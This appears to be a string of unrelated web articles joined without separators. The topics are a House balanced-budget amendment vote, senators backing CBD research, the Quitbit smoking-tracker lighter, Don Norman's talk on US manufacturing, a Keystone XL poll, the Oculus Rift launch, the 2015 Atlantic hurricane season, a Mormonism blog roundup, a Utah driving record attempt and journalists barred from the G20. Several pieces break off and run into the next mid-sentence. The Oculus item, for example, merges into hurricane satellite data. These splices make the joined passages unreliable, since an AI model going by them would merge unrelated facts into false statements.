The votes were called by Democratic leadership to fulfill the mandate from the summer’s debt-ceiling accords that both chambers debate and vote on a balanced-budget amendment.
The House in November voted 261-165 for a version of the amendment — a clear majority, but also short of the two-thirds needed to send the amendment to the states for ratification. The amendment was supported by 236 Republicans and 25 Democrats, while four Republicans and 161 Democrats opposed it.Obamacare. Gay weddings. Now pot?
As progressives celebrate a couple of big wins in Washington – the Supreme Court upholding the Affordable Care Act and legalizing same-sex marriage – another issue has remained firmly stuck at the national level: marijuana legalization. Congress has resolutely opposed the state-level movements toward legalizing marijuana, keeping it a Schedule I controlled substance on par with heroin, LSD and peyote.
But now some of the nation’s toughest law-and-order senators just might be opening the window to cannabis, at least a crack.
Sens. Chuck Grassley (R-Iowa), Orrin Hatch (R-Utah) and Dianne Feinstein (D-Calif.) have all begun speaking up about the need for more clinical research on the marijuana plant compound known as cannabidiol, or CBD. The three sit on the powerful Judiciary Committee, which has a key voice in setting the federal government’s firm stance on pot in all its different forms.
They sent a clear signal in a packed hearing room last week, when the senators took on the tricky issue of CBD, a compound derived from an illegal drug but which many scientists and public health officials believe could treat conditions including cancer, diabetes, chronic pain, and alcoholism. Some parents and doctors have already turned to CBD as an anti-seizure medicine for children who suffer from rare and extreme types of intractable epilepsy.
Grassley, the chairman of the powerful Judiciary panel, told the audience at a narcotics caucus meeting that it's not an “inconsistent position" to embrace the beneficial components of the pot plant even while rejecting pretty much everything else about the drug, adding that doctors prescribe morphine but don’t recommend their patients go out and smoke opium or heroin. Feinstein and Hatch also spoke about the potential benefits from CBD, and complained that current drug laws impede the parents of sick children from access to what appears to be a helpful medicine.
At the same time, the senators went through elaborate motions to explain they weren’t softening their stance against recreational pot.
“I have deep concern that [pot] does more harm than anything else,” Feinstein said in an interview. “But in terms of the medical aspects of it, it’s a totally different picture. It’s like any other plant. I’m sure there are other plants that if you ate you’d hallucinate or something. But if you can get the beneficial parts out, get them researched, be able to standardize it, regulate it, you may have something very good.”
The lawmakers’ comments, coming on the heels of two recent Obama administration moves to expand medical-marijuana research, marked another pointed moment in the country’s shifting views on drug policy. What was once an absolute red line in the “Just Say No” era is now a more porous border. Twenty-three states and Washington D.C. have legalized medical marijuana; Alaska, Colorado, Oregon, Washington state and the District of Columbia have also legalized recreational use, despite the clash with federal drug laws.
Congress, so far, has made no moves at all to relax recreational marijuana laws, and in Washington D.C. – where it effectively holds veto powers over the local government’s affairs – it prohibited the city from spending money to implement its voter initiative on recreational use. As a result, the nation’s capital considers marijuana legal but doesn’t have any sales and taxation system.
But there have been a few openings as well. The Obama administration has declined to enforce federal drug laws in states that have legalized recreational pot, and Congress last year also approved legislation telling the feds not to meddle with any state-approved medical marijuana programs. The special case of CBD, which does not get users high, might provide the biggest opening. “I understand the desire for caution. We’re Congress. We act slowly,” said Hatch, the Senate’s longest serving Republican and the current chairman of the Finance Committee. “But we must remember that these are people’s lives we’re dealing with. These are people for whom a five- or ten-year delay is not an inconvenience, but a potential death sentence.”
Utah, Hatch noted, was “certainly no redoubt of hippie liberalism,” but in March 2014 became the first of 15 states to legalize use of the CBD oil. Now, he's pushing the Senate to pass a bipartisan bill that would remove CBD from the definition of marijuana under federal law, giving parents a green light to buy the medicine without the threat of DEA agents busting them.
One sticky issue on the cannabis front has been that its outlaw status makes it more difficult to carry out both government and privately funded research. While it’s technically legal to study the medical aspects of pot, researchers must go through a rigorous DEA and FDA approval process, and can only obtain their marijuana from the government’s sole authorized U.S. supplier, located at the University of Mississippi.
While Grassley rarely has praise for Team Obama, he applauded the Democratic administration for two moves it made in June on the medical-research front: the Department of Health and Human Services got rid of what it called a duplicative 16-year old paperwork review requirement for private researchers studying the drug; and separately, the Justice Department and HHS moved to study whether CBD should be classified on a less stringent level than the entire marijuana plant.
“This is a significant breakthrough and I commend these agencies for agreeing to take this step,” Grassley said.
The feds are in part playing catch-up with the black market, where parents using the oil extracts for their children say they’ve spent as much as $2,500 for a month’s supply. Feinstein said she hears complaints from constituents in California and around the country that they have bought CBD without labels, factory seals or clear dosage amounts.
“This is an untenable situation. It is not how medicine should work,” Feinstein said.
Her goal, she said, was "to get this process expanded, and get it legitimized and get it regulated. And I think those are the things we have to do and do as quickly as we can.”
The FDA last year gave a green light to fast-track a clinical trial using CBD; it is being run by GW Pharmaceuticals, a United Kingdom-based company that currently has about 420 children getting treatments under supervision from doctors. Going forward, the FDA said it has a system in place to handle other applications, should more private companies pursue it.
“It is absolutely reasonable to expect that marijuana would be able to be developed as a drug,” Douglas Throckmorton, FDA’s deputy director in its Center for Drug Evaluation and Research, testified during the Senate's Caucus on International Narcotics Control hearing. He added that the FDA has previously approved two other drugs that are marijuana plant byproducts: In 1985, it permitted Cesamet and Marinol for chemotherapy patients dealing with nausea and vomiting; and the criteria for Marinol prescriptions in 1992 were expanded to AIDS patients who lose weight from anorexia.
Despite their interest, Feinstein and her colleagues were circumspect still about how far Congress will go this session. The House in June included several pot-related amendments to a spending bill funding the Commerce, Justice and State departments; one measure adopted on a 297-130 vote allows states that have legalized cannabidiol to do it without federal interference; another prohibits the federal government from blocking states from implementing their own medical marijuana laws. (President Barack Obama signed a similar provision into law in last year's "CRominbus" spending bill, but the language lapses at the end of the fiscal year.) The House also narrowly rejected an amendment – on a 206-222 vote – that would have told the feds to butt out in the implementation of any state marijuana laws, either recreational or medical.
In the Senate, Cory Booker (D-N.J.), Kirsten Gillibrand (D-N.Y.) and Rand Paul (R-Ky.) are leading an effort for a broader medical marijuana bill that would help make the drug available for a range of conditions, including cancer, glaucoma and for children via the CBD extract. Their legislation would block the federal government from halting state medical marijuana laws; permit doctors at the Department of Veterans Affairs to prescribe the drug to military veterans; allow banks to do business with medical marijuana dispensaries and let states import the CBD oils for treatments. The senators also want to change how marijuana is classified under the Controlled Substances Act – moving it from the most restrictive Schedule 1 category that limits its use for research and defines it as having no accepted medical benefits into the Schedule 2 category that comes with fewer requirements before it can be studied.
In an interview, Gillibrand said it was a "huge deal" to have Grassley, Hatch and Feinstein supportive of expanding cannabis research. “I think it’s the first step toward a fuller conversation on how important medical marijuana is to so many patients across the country," she said.
But Gillibrand still has work in front of her if she wans to pick up their support for many of the specifics in her bill. Grassley, who has been a high-profile partner with Gillibrand on legislation tackling sexual assault crimes in the military and on college campuses, said he wasn't ready to ally with the Democrat yet on medical marijuana legislation. "There’s probably more chances for research and ways to do research that probably detract a little bit from the necessity for legislation, but that doesn’t preclude legislating,” he told POLITICO.
And when asked if she backed the push to reclassify marijuana as a Schedule 2 controlled substance, Feinstein - who represents a state that legalized medical marijuana nearly 20 years ago --replied: “I’m not there yet.”A new Internet-connected lighter called Quitbit will light your cigarette, but wean you off a smoking habit too.
A new Kickstarter campaign called Quitbit takes the same monitoring principles embedded into fitness trackers and helps users track and cutdown on smoking. In a nod to the name, it's like a Fitbit for smoking.
The product, which launched on Monday and is seeking $50,000 in funding pledges, is a pocket lighter that uses a heating coil similar to what's found in cars. But whether you're looking to quit or not, the lighter keeps track of every time you light up and logs that data in an accompanying app.
SEE ALSO: 14 Hot Fitness Gadgets to Make You Sweat
Users can set custom plans — so they can trim on intake at whatever pace they want — and see much money they've saved by cutting back on packs along the way. It also reveals the time since your last smoke, how many were consumed within a certain period of time and lets you call out the times you shared a cigarette with a friend (or let someone borrow the lighter).
The Quitbit, which also works with e-cigarettes or the patch, was developed by two friends who wanted an easy way to track the quitting process.
"Kuji and I were both smokers and met while in grad school together at Brown," co-founder Ata Ghofrani told Mashable. "I was trying to quit when he asked how much I smoked, and I realized there wasn't a really good way to keep track." "I was trying to quit when he asked how much I smoked, and I realized there wasn't a really good way to keep track."
Although there are countless apps on the market that help smokers quit, this is the first solution that includes hardware: "We wanted a piece of hardware to automatically monitor how much you're smoking, without having to manually enter that information within the app," he added.
Although it's up to each person to decide when and if they want to quit smoking, keeping the Quitbit in your pocket — we assume — gives the same affect of wearing a fitness wristband tracker. Sure, you might not wear a Fitbit to specifically lose weight, but it serves as a constant reminder to stay active.
The Quitbit will likely do the same; having access to all of your smoking data might the final nudge you need to scale back.This is an expanded version of my welcoming address to the "Workshop on Building the National Network for Manufacturing Innovation," September 27, 2012, held at the western conference center of the National Academies, Irvine, California. Website
On behalf of the National Academy of Engineering, I am delighted to welcome you to the National Academies' western home and to this jointly sponsored workshop. As many of you know, the National Academies has four parts: Science, Engineering and Medicine. The fourth part is the National Research Council that does definitive, careful studies of topics of interest to the US government, the house and senate, and to the country. The engineering side has been extremely concerned with the demise of manufacturing in the US, which is why it has taken so much interest in this endeavor.
Here are two stories that illustrate the issues we face.
STORY 1: A HARDWARE STARTUP
I am on the board of a small startup company in the Chicago area. We make sophisticated multi-touch control panels for commercial use: think of it as making the colorful, easy to use gesture controls you see on smart phones, but for the commercial market. Our devices work in extreme hot and cold, in the rain, even if the workers are wearing gloves.
We manufacture in Chicago. But recently, we opened up a manufacturing facility in China. Why not expand the Chicago facility? Why go to China?
Lower cost labor? No. Labor is a minor part of the part cost. The availability of sufficiently skilled workers? No, we have no trouble finding good people in the Chicago area. Zoning or taxes? No.
We went to China for two reasons: Supply chain and financing.
Supply chain.
Our panels are components: part of larger products. Our controls are added on top of LCD display screens, and then sent to the OEM, who inserts them into their product. Where are LCDs made? China. Where are the final products manufactured? China.
Having to ship components back and forth between Chicago and China is disruptive. It adds inefficient, disruptive time delays and adds cost. It makes troubleshooting inefficient should difficulties arise. The supply chain works best when tightly-coupled parts are co-located.
Financing.
A second problem is financing. The feeling in the world of funding is that manufacturing companies are not viable. Software is hot. High margins, little capital investment. Just a bunch of young kids. Manufacturing though takes capital investment. Margins are lower. It takes longer to recoup the investment.
Take a bunch of young kids, right out of school, with some social-networking, sharing idea, and in six months they can get a few million bucks to fund their company. I'm working with two software startups who have received tens of millions of dollars of funding despite having no sales in one case and miniscule sales in the other.
Take a bunch of seasoned veterans with a physical product that requires manufacturing, such as my Chicago company, and it is very difficult to get funding. In the case of my Chicago company it took forever to get a few million from investors. This company had real sales, real customers. Some of you may even use products that use its components. My two Silicon Valley companies got four times the amount of funding in a shorter period.
We received a large order that required us to enlarge our manufacturing facilities, but we had difficulty getting the necessary funds in the United States. Our Chinese partner volunteered to build the line for us in their facilities. Why? Because we both won: they were able to increase their sales by offering a combined package of LCDs and touch control panels, which also increased our sales. Finally, we dramatically simplified supply chain issues.
I asked the CEO if he could describe the issues for me to use in this talk. I quote from his email:
Without access to capital, manufacturing endeavors are not possible. Angels and VCs are seldom interested in manufacturing related investments and banks won't look at you, unless, of course the company is well established with plenty of capital on hand.... here in the US we have lost the appetite for or the understanding of how, manufacturing works._... it is easier and faster to get a simple decorated cover lens (glass with silkscreen printing) from China than from here in the US. We have systematically destroyed our skills to make physical products. Even if I had all the capital to build full production in the US, I could not buy enough raw materials to keep my lines running. We setup and launched product (with our partner in China) in 2 months. It took us over 12, here in the U_S.
Why move to China? Because of funding and supply chain. What would it take to move back to the United States? It is an interconnected system. We must solve all the components:
Supply chain The ring of part suppliers Financing
STORY 2: MIT AND NORTHWESTERN REMOVED THE WORD "MANUFACTURING" FROM THEIR MBA/ENGINEERING PROGRAMS
Two of the top MBA programs in manufacturing in the United States were Northwestern's Master in Management and Manufacturing program and MIT's Leadership for Manufacturing program. Both were dual-degree programs, so the students received an MBA and an Engineering masters degree.
Both schools changed the names of their programs to eliminate the word "Manufacturing" from the title. Northwestern's program was renamed MMM, where the letters had no meaning. MIT's program was renamed Leadership for Global Operations.
I was co-director of the Northwestern program from the engineering side when the name was changed. I taught design to the MBA students. Why did we delete manufacturing? The students drove the change. Manufacturing was not where the excitement lay. The name was keeping good students away. Design was exciting to them, as were global operations and supply chain. Not manufacturing.
I asked my MIT colleague why LfM changed. He said:
"The students felt strongly that operations, and particularly global supply chain management, had become the issue of greatest interest for manufacturing companies."
The popular perception among young engineering and business students is that manufacturing is dull: the future is design and operations. This is a serious problem in our attempt to revive manufacturing in the United States. These young, ambitious MBA/Engineers represent the future. We have to capture the future.
WHY I AM OPTIMISTIC: STEPS TOWARD A SOLUTION
1. We Can Build on Our Core Competencies.
What is the United States good at? What are our core competencies?
Design.
Innovation.
Invention.
Ideas.
Creativity.
Out-of-the-box thinking.
My field is Human-Centered Design: making products that people can use, that fit their needs, that excite them and are enjoyable. The United States leads the world in human-centered design. This is true in all domains: computer and cellphone applications, industrial equipment, work tools for professionals, and of course home and consumer electronics. It is not an accident that the entire world relies on our operating systems: Apple, Google, and Microsoft for phones; Apple and Microsoft for computers.
We lead the world in design, especially human-centered design.
2. There Is a Resurgence of Interest in Making Things.
There is also a wonderful surge of interest in building things. We see this in:
The Do-It-Yourself (DIY) movement.
The Makers communities.
The birth of hardware incubators and workshops
The great success of hardware contests in schools, from robots to electric vehicles.
The development of additive manufacturing methods, especially the introduction of 3D printing.
Some of you may look at this list and complain that these are all small, hobbyist or simple batch-processing methods. Additive manufacturing and 3D printing, for example, are slow and limited in the types of material they can use, and the size and quality of the parts they produce. Better machines are expensive. Yes, General Electric uses 3D printing to produce components for their large jet engines, but these are not produced with the kind of numbers that modern mass manufacturing requires.
3. Disruptive Innovation Is Our Ally.
All the criticisms of the resurgence of interest in making things are true. But read Clayton Christensen's work on Disruptive Innovation: All disruptive technologies start out as toys, far too limited to be taken seriously. Want an example? Think of the home PC: those of us in the computer business scoffed at the limited capability of the Apple II and the IBM PC. We used powerful computers by DEC, Silicon Graphics, and Sun Microsystems. Every one of those companies is now dead, killed by the PC.
New technologies cause people to rethink how they do things. They enable new methods that had never before been thought about. Mass customization may finally become real. Moreover, over time, the technologies become better, more robust, of higher quality and capability, and all at lower cost.
4. We Can Build on our Competencies.
This is the beginning of a revolution in manufacturing. Let's take advantage of it. Let's drive it.
Let's build on our competencies in design and innovation. This means making them valued here, in the United States, which means encouraging engineers to want to build, make, and create. Providing the talent to manufacture here, where the ideas come from.
Supply chain issues will help us: When design, supply, and manufacture are co-located, efficiencies rise, time delays are eliminated, quality goes up.
5. The NAE Initiative in Manufacturing, Design, and Innovation (MDI).
The National Academy of Engineering (NAE) has launched a Manufacturing, Design and Innovation Initiative to focus on the transforming nature of manufacturing. Creating and delivering products and related services that have value to customers and society.
The major theme of the NAE workshop was the integration of Manufacturing, Design, and Innovation. Integration is key to success.
MANUFACTURING IS A SYSTEMS PROBLEM
This is a systems problem. We cannot bring back manufacturing to the United States with a single solution. Not new technologies, not new manufacturing methods, not better access to capital, not better suppliers, better supply chain, better political support. Not even disruptive innovation.
No single one of these will do the trick. Each is necessary, but each alone is not sufficient. We need all of them.
This is a system: we need to rebuild the entire system.
Let's build on these competencies. Which means making them valued here, in the United States, which means encouraging engineers and managers to want to build, make, and create. We need to marry manufacturing with Design and Innovation, to restore the supporting supply chain infrastructure, and to assemble the political support, the financial capital, and all the necessary parts of the system.
We need to get back the thrill of creating things, of making, building. And yes, manufacturing. We need more people who find this exciting. And to make this happen we need to change. Hence, this conference.
REFERENCES
**Advanced Manufacturing Portal:
**http://manufacturing.gov
NAE Report: Making Value: Integrating Manufacturing, Design, and Innovation to Thrive in the Changing Global Economy
Clayton Christensen on Disruptive Innovation:
Don Norman bio
Don Norman is both a businessperson (VP at Apple, Executive at HP and an academic (Harvard, UC San Diego, Northwestern, KAIST). He is a member of the National Academy of Engineering, an IDEO fellow, and a trustee of IIT's Institute of design. As co-founder of the Nielsen Norman Group he serves on company boards and helps companies make products more enjoyable, understandable, and profitable. He is the author of "The Design of Everyday Things," "Emotional Design," and "The Design of Future Things. His latest book is "Living with Complexity. He lives at www.jnd.org.The White House has yet to embrace the proposed expansion of the Keystone XL pipeline, but the American public is on board.
A new Fox News poll shows support for the project has reached a new high, with 70 percent supporting its construction and 23 percent opposing it. That 70 percent support figure is up from 67 percent a year ago. Other polls at the time showed slightly lower levels of support, though still huge majorities in favor.
The increase appears to be due to a rise in support among Democrats, who now support it with a clear majority — 57 percent.
The issue hasn't been on the radar screen in recent months, but President Obama has suggested in recent weeks that he wants to act on climate change — which could have implications for the Keystone XL project.When the Oculus Rift virtual reality (VR) head-mounted display (HMD) launches on 28th March 2016 it will come with a host of extras bundled in. Those that pre-order the kit between now and that time will get a free copy of EVE: Valkyrie, while everyone that picks one up will also get Lucky’s Tale and an Xbox One controller. One important item that won’t be included, |
15, according to satellite imagery. However, disorganization prevented its classification as a tropical depression until 06:00 UTC on September 18, while located about 750 mi (1,210 km) south of the southernmost Cape Verde Islands. The depression moved west-northwestward due to a subtropical ridge to the north and intensified into Tropical Storm Ida early the following day. Westerly wind shear exposed the storm's low-level circulation, causing Ida to strengthen only slightly.[63]
Wind shear briefly decreased, allowing the cyclone to peak with winds of 50 mph (85 km/h) and a minimum pressure of 1,001 mbar (29.6 inHg) at 12:00 UTC on September 21. However, shear increased later that day, causing slow weakening. Ida then decelerated and began moving in a general eastward direction on September 22 after becoming embedded in the flow associated with a mid- to upper-level trough. Early on September 24, the storm weakened to a tropical depression. During the following day, the trough was replaced with a subtropical ridge, causing Ida to turn northwestward and then west-northwestward on September 26. After shear and dry air caused much of the convection to diminish, Ida degenerated into a remnant low around 12:00 UTC on September 27 while situated about 1,000 mi (1,610 km) east-northeast of Barbuda.[63]
Hurricane Joaquin [ edit ]
Category 4 hurricane (SSHWS) Duration September 28 – October 8 Peak intensity 155 mph (250 km/h) (1-min) 931 mbar (hPa)
A non-tropical low developed into a tropical depression on September 28 about 405 mi (650 km) southwest of Bermuda, based on the improved circulation on satellite imagery and deep convection forming near the center.[17][64] The storm initially moved slowly southwestward due to a blocking ridge of high pressure to the north. Although wind shear increased slightly, Joaquin tracked over ocean temperatures of 86 °F (30 °C),[17] allowing the cloud pattern to become better organized.[65] On September 30, the storm intensified into a hurricane.[17] Joaquin then rapidly deepened, becoming a Category 4 hurricane late on October 1. Joaquin later weakened as it passed through the Bahamas, but reintensified to a Category 4 hurricane while recurving northeastward. On October 3, maximum sustained winds peaked at 155 mph (250 km/h) and a minimum barometric pressure of 931 mbar (27.5 inHg). Thereafter, Joaquin began to rapidly weaken as it approached Bermuda. The cyclone then turned eastward and maintained hurricane status until October 7. By the following day, Joaquin became extratropical about 445 mi (715 km) west-northwest of Corvo Island in the Azores. The remnants later stuck Portugal, before dissipating over the Gulf of Cádiz on October 15.[17]
Battering the Bahamas's southern islands for over two days, Joaquin caused extensive devastation, especially on Acklins, Crooked Island, Long Island, Rum Cay, and San Salvador Island.[17] Severe storm surge inundated many communities, trapping hundreds of people in their homes; flooding persisted for days after the hurricane's departure.[66][67] Prolonged, intense winds brought down trees and powerlines, and unroofed homes throughout the affected region.[17] As airstrips were submerged and heavily damaged, relief workers were limited in their ability to quickly help affected residents.[68] Damage in the Bahamas totaled about $200 million.[69][70] Offshore, the American cargo ship El Faro and her 33 crew members were lost to the hurricane. Coastal flooding also impacted the Turks and Caicos, washing out roadways, compromising seawalls, and damaging homes. Strong winds and heavy rainfall caused some property damage in eastern Cuba.[17] One fisherman died when heavy seas capsized a small boat along the coast of Haiti.[68] Storm tides resulted in severe flooding in several of Haiti's departments, forcing families from their homes and destroying crops.[71] Joaquin also posed a threat to parts of the East Coast of the United States. State of emergencies were declared in Maryland, New Jersey, North Carolina, South Carolina, and Virginia,[72] as well as a mandatory evacuation from Ocracoke, North Carolina.[73] Joaquin ultimately curved northeast and caused little direct impact in the United States, but another large storm system over the southeastern states drew tremendous moisture from the hurricane, resulting in catastrophic flooding in South Carolina.[17] The storm brought strong winds to Bermuda that cut power to 15,000 customers.[74] Damage on Bermuda was minor.[75]
Hurricane Kate [ edit ]
Category 1 hurricane (SSHWS) Duration November 8 – November 11 Peak intensity 85 mph (140 km/h) (1-min) 980 mbar (hPa)
On October 30, a poorly-defined tropical wave and its associated small area of disturbed weather emerged into the Atlantic from the west coast of Africa. Strong wind shear prevented significant development or organization of deep convection for a few days. However, by November 5, cloudiness and showers increased as the system was approaching the Lesser Antilles. After a rapid increase in convection and the circulation becoming more well-defined on satellite imagery, a tropical depression about 115 mi (190 km) southeast of San Salvador Island in the Bahamas around 18:00 UTC on November 8. The depression strengthened into Tropical Storm Kate early on November 9. After initially moving northwestward, Kate briefly accelerated northward around the western periphery of a subtropical ridge over the central Atlantic. Thereafter, the cyclone accelerated further and curved northeastward due to the mid-latitude westerlies.[76]
After intensification and improvements to convective banding, Kate was upgraded to a Category 1 hurricane at 00:00 UTC on November 11. Twelve hours later, the storm peaked with maximum sustained winds of 85 mph (140 km/h) and a minimum barometric pressure of 980 mbar (29 inHg). Due to very strong wind shear and decreasing sea surface temperatures, the storm began losing tropical characteristics shortly thereafter. Early on November 12, the system became extratropical about 430 mi (690 km) south-southeast of Cape Race, Newfoundland. Late on November 13, the remnants merged with a larger extratropical cyclone.[76] Between November 15 and November 16, the remnants of Kate affected the United Kingdom and Ireland.[77][78] Across Wales, high winds downed trees and heavy rain flooded roadways.[79]
Storm names [ edit ]
The following list of names was used for named storms that formed in the North Atlantic in 2015. The names not retired from this list will be used again in the 2021 season. This was the same list used in the 2009 season. The name Joaquin replaced Juan after 2003, but was not used in 2009; therefore, it was used for the first and only time this year.[80]
Ana
Bill
Claudette
Danny
Erika
Fred
Grace Henri
Ida
Joaquin
Kate
Larry (unused)
Mindy (unused)
Nicholas (unused) Odette (unused)
Peter (unused)
Rose (unused)
Sam (unused)
Teresa (unused)
Victor (unused)
Wanda (unused)
Retirement [ edit ]
On April 25, 2016, at the 38th session of the RA IV hurricane committee, the World Meteorological Organization retired the names Erika and Joaquin from its rotating name lists due to the amount of damage and deaths they caused, and they will not be used again for another Atlantic hurricane. They will be replaced with Elsa and Julian, respectively, for the 2021 season.
Season effects [ edit ]
This is a table of all of the storms that have formed during the 2015 Atlantic hurricane season. It includes their names, duration, peak strength, areas affected, damage, and death totals. Deaths in parentheses are additional and indirect (an example of an indirect death would be a traffic accident), but were still related to that storm. Damage and deaths include totals while the storm was extratropical, a wave, or a low, and all of the damage figures are in 2015 USD.
Saffir–Simpson scale TD TS C1 C2 C3 C4 C5
See also [ edit ]The Week in Mormonism, 5/22/16: Deutero-Isaiah Explained, What South Park Got Wrong
Jonathan Ellis Blocked Unblock Follow Following May 22, 2016
Maxwell Institute scholar Donald Perry studies the oldest known copy of the Book of Isaiah
Dr. David Bokovoy is the author of Authoring the Old Testament (also at Amazon and Deseret Book), where he draws on his PhD in Hebrew Bible and the Ancient Near East to introduce an LDS audience to textual and historical studies of the Pentateuch and the Book of Abraham. Authoring the Old Testament made quite a splash when it appeared two years ago, with glowing reviews in The Deseret News (“insightful and spiritually edifying”) as well as virtually every blog in Mormonism. (The two most incisive reviews are Kevin Barney’s and Colby Townsend’s, with an honorable mention for Michael Barker’s as most detailed.)
This is to explain that Bokovoy knows what he’s talking about. And also to say that if you haven’t read Authoring the Old Testament then you really need to remedy that if you’re at all interested in the subject. I can’t recommend it too highly.
This week, Bokovoy explains (part 1, part 2) how we know that Deutero-Isaiah (Isaiah chapters 40–55) are a later (mid 6th century BC) addition to material written by the historical prophet Isaiah in the 8th century BC (chapters 1–39, for the most part).
Deutero-Isaiah has been a sore point for some Mormons for nearly a century. At least as far back as Joseph Fielding Smith, conservative Mormons have dismissed scholarly work on the subject as stemming from a secular unwillingness to accept that Isaiah could write about 6th century events because he saw the future with the gift of prophecy. They argue that Deutero-Isaiah must have been written by Isaiah himself, because otherwise it couldn’t have been on the brass plates that Nephi took before Jersualem was destroyed.
Conservative evangelicals make a similar argument: “John quotes from both ‘halves’ of Isaiah, and attributes them to Isaiah. So who wrote Isaiah (all of it)? Isaiah.” Authorship of the Gospels is outside our scope here, but Mormons have long rejected a rigid view of Biblical infallibility, and have no trouble accepting that John could have simply been quoting a source as it was familiar to him, without necessarily making a prophetic endorsement of its provenance.
But the evidence that drives scholars to conclude that Deutero-Isaiah is written by a different, later author is much more than a secular reluctance to accept prophecy. To summarize Bokovoy’s article,
“Deutero-Isaiah provides a polemical response to the Cyrus Cylinder.” (The Cyrus Cylinder is a Babylonian document created sometime between 539–538 BCE, to which Isaiah chapters 44 and 45 offer a rebuttal.) “Even though Isaiah predicted judgment against his people, he held fast to a view scholars refer to as ‘the inviolability of Jerusalem.’ Isaiah believed that Jerusalem was a sacred place that could not be annihilated by its enemies… In contrast to this perspective, Isaiah 40 begins as a message of comfort to the Judean people since Jerusalem had been destroyed. This was not something that the historical Isaiah believed would happen.” “The material in Deutero-Isaiah was highly influenced by the book of Jeremiah, a prophet who lived after the time period of the historical Isaiah.” “The authors of 40–66 knew exilic and postexilic material including Lamentations.” “Unlike what we find in the first half of the book of Isaiah, Aramaic has heavily influenced the language in Isaiah 40–66. Not only does this fact provide compelling proof that the material in 40–66 was written by other authors, it shows that these authors were living in a time when Jews were speaking Aramaic.” “Unlike what we encounter in the historical oracles of Isaiah, the material in Isaiah 40–66 contains many, many examples of Hebrew words and phrases that appear solely in the exilic and postexilic periods.”
Tom Hardman offers a balanced take on the implications for the Book of Mormon:
I have faith that the Book of Mormon is the “word of God.” As for what that means with respect to authorship of the book of Isaiah, I’m far less certain. While it is certainly possible that the scholarly consensus is incorrect, there does appear to be considerable evidence supporting post-exilic authorship of Isaiah 40–66. In any event, I believe that biblical scholars like Dr. Bokovoy are simply doing their best to honestly seek after the truth. Their efforts should be applauded, even when their conclusions make us uncomfortable. The words of Henry Eyring come to mind: “The fundamental principle that has guided my religious life is that I need believe only what is true. The gospel is the truth as learned or discovered by whatever means and tools I can lay my hand or mind on.”
Thoughts on Things and Stuff explains what South Park got wrong about the early Church:
In Episode 12 of Season 7 of the irreverent Comedy Central cartoon “South Park” viewers were treated to a story “All About Mormons” (See the full episode on hulu.com). The episode included modern adventures of the South Park gang dealing with a new LDS family in town — but also depicted scenes from early Church history and in particular Joseph Smith and the events of early church history. This included the First Vision, the encounter with the angel Moroni, the translation of the Book of Mormon and the loss of the first 116 pages…
Just how accurate was the South Park episode? Did they get anything wrong? Why has no one taken the time to debunk the parody of Mormonism and caricature of Joseph Smith that Matt Stone and Trey Parker unleashed into modern culture?
Jonathan Streeter and historian Christopher Smith came up with sixteen things South Park got wrong or oversimplified, starting with the implication, expressed as a refrain in the song introducing Joseph Smith, that Mormons are “dumb” for believing him.
Reviews and Books
Sexual Assault at BYU
Other LinksThree guys from Utah have set out to drive through the contiguous 48 states in record time. Starting out Sunday in Vermont, they're already in Wyoming on the way to North Dakota with the goal of getting home to Utah, via nine more states, by Friday. The time to beat is 5 days, 7 hours and 15 minutes. Joey Stocking, Adam Gatherum and Josh Keeler think they can do it in three hours less.
We were tempted to mock these guys with a headline something along the lines of "Utahns Meet World," but it turns out this is actually pretty cool. Their route was originally drawn up by Josh's dad 15 years ago, who was forced to abandon his dream due to a death in the family. The three friends have since updated it with the help of Google Earth. To make the record time they're driving straight through, alternating naps in the back seat of their Scion xB with turns driving and navigating. The Guinness World Record committee wouldn't sanction their attempt for fear of sanctioning dangerous driving, so if Josh, Adam and Joey are successful, all they'll get is the satisfaction of having done it. [The Great American Road Trip via NPR]
Thanks to Nate for the tip.At least four of the journalists who had their press accreditations confiscated by police at the G20 summit last Friday had worked in the Kurdish regions of southeastern Turkey, raising suspicions in the German media that the Turkish government may have pressured German authorities into shutting them out.
According to reports by German public broadcaster ARD and the Süddeutsche Zeitung, the journalists' press passes were taken off them without explanation, even after they had been in and out of the secured area around the conference center in Hamburg where the summit was held.
Chris Grodotzki, a photographer for Germany's Der Spiegel, told DW that he had picked up his accreditation normally on Wednesday, but on trying to re-enter the conference center on Saturday had been faced with police officers carrying a two-page list of names that they said they had been given them by Germany's Federal Criminal Police Office (BKA).
Some 32 journalists had their press accreditations confiscated by German police
No reason given
Grodotzki said the officers were systematically checking all journalists going into the center. "Then they told me they can't let me go in, and put me in a closed tent to one side, where I sat for a while, and then the superiors came and told me that the accreditation had been cancelled," said Grodotzki. He added that he was not asked any questions by the officers, and that they themselves did not seem to know why the accreditations were being confiscated.
The German government has refused to release the police's list, for "data protection" reasons, though Grodotzki said it was no problem for him to see it at the time, and believes the press reports that around 32 names were on it sounded accurate.
Nine of the journalists, who were mostly German, were later told in writing by the BKA that they were being shut out of the event "in consultation between the participating authorities."
According to the Süddeutsche Zeitung, four of these nine had previously worked in the Kurdish areas of Turkey, even though German government spokesman Steffen Seibert insisted on Tuesday that the authorities mentioned in the letter were all German - and did not belong to any foreign government.
What has raised particular suspicion is that Grodotzki was arrested in 2014 in southeastern Turkey along with another German journalist, Björn Kietzmann of the Action Press agency, who had his accreditation confiscated in Hamburg. The pair had taken photos near Kobane, a Kurdish city on the Turkish-Syrian border, and were arrested in Diyarbakir, one of the largest Kurdish-dominated cities of southeastern Turkey, where they were held for 31 hours and accused of espionage.
German government spokesman Steffen Seibert said that the black list would not be released
"It's certainly suspicious, when you and a colleague who were both in Turkey at the same time had their accreditation confiscated - the thought does pop up naturally," said Grodotzki. "I can't prove it."
The plot thickens
"I can only speculate of course, but that does seem strange to me," Kietzmann said. "It could be that they dug up information about how I went to demonstrations ten years ago when I was a student - I've no idea." But if that was the case, he points out, why had he been granted an accreditation for the G7 summit in Bavaria in 2015, and why had he been allowed to accompany German troops in Afghanistan in 2012? "It would surprise me if they'd now decided I was a security threat because I went to demonstrations in 2005," he told DW.
Kietzmann also said he had applied for his accreditation on June 15, and had received approval shortly afterwards - surely, he said, any security background checks on journalists should and would have been carried out then.
The pattern was repeated elsewhere: Willi Effenberger, a photographer for the Junge Welt newspaper who also had his accreditation confiscated, told the taz newspaper that he had once been arrested in Turkey, and had taken photos in Diyarbakir.
Adil Yigit, a Turkish journalist for the Avrupa Postasi outlet, who also had his G20 accreditation confiscated, told the taz newspaper, "I think the Turkish side is behind this. The head of the Turkish secret service Hakan Fidan was with [Turkish President] Erdogan in Hamburg on Thursday. I took photos of both of them and reported on it. I think the Turkish intelligence agency passed that on to their German colleagues."
